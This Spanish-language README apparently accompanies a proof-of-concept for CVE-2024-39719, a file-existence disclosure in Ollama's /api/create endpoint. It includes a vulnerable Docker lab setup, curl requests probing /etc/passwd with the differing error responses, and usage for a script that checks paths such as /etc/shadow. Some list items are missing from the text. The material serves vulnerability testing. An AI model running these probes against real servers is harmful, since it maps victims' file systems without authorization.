
CVE-2024-39719 es una vulnerabilidad de divulgación de existencia de archivos que afecta a las versiones de Ollama 0.3.14 y anteriores. Esta vulnerabilidad permite a los atacantes detectar la existencia de archivos específicos en el servidor a través de un endpoint de la API, lo que potencialmente puede conducir a fugas de información.
Fecha de Publicación: 31 de octubre de 2024
La vulnerabilidad existe en el endpoint /api/create de Ollama. Cuando un atacante llama a la API CreateModel con un parámetro de ruta, el servidor devuelve diferentes mensajes de error según si la ruta existe o no. Este comportamiento permite a un atacante determinar si un archivo o directorio específico existe en el servidor mediante el análisis de los mensajes de error.
El problema central es que, al manejar la entrada del usuario, el sistema expone directamente los errores del sistema de archivos al cliente en lugar de ocultar adecuadamente la información sobre la existencia de rutas.
Esta vulnerabilidad afecta a todas las versiones de Ollama hasta la 0.3.14 inclusive.
Aunque una vulnerabilidad de divulgación de existencia de archivos puede parecer inicialmente menos grave, puede:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.Envíe una solicitud usando curl para intentar acceder a un archivo inexistente:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Respuesta:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Pruebe con un archivo existente, como /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Respuesta:
{"error":"no FROM line for the model was specified"}
Al analizar estos diferentes mensajes de error, un atacante puede determinar si una ruta objetivo existe o no, obteniendo información sobre la estructura de archivos del servidor. Tenga en cuenta que la información devuelta por el servidor puede variar según la versión.
Ollama ha corregido esta vulnerabilidad en versiones más recientes. Las correcciones incluyen:
/api/create.El script de Python proporcionado le permite probar si un servidor Ollama es vulnerable a CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: URL del servidor Ollama (obligatorio)-f, --file: Archivo a verificar su existencia (por defecto "/etc/passwd")# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434
# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
Este script se proporciona únicamente con fines educativos y para pruebas de seguridad legítimas. Asegúrese siempre de contar con la autorización adecuada antes de probar cualquier sistema en busca de vulnerabilidades. Las pruebas no autorizadas pueden violar leyes y regulaciones.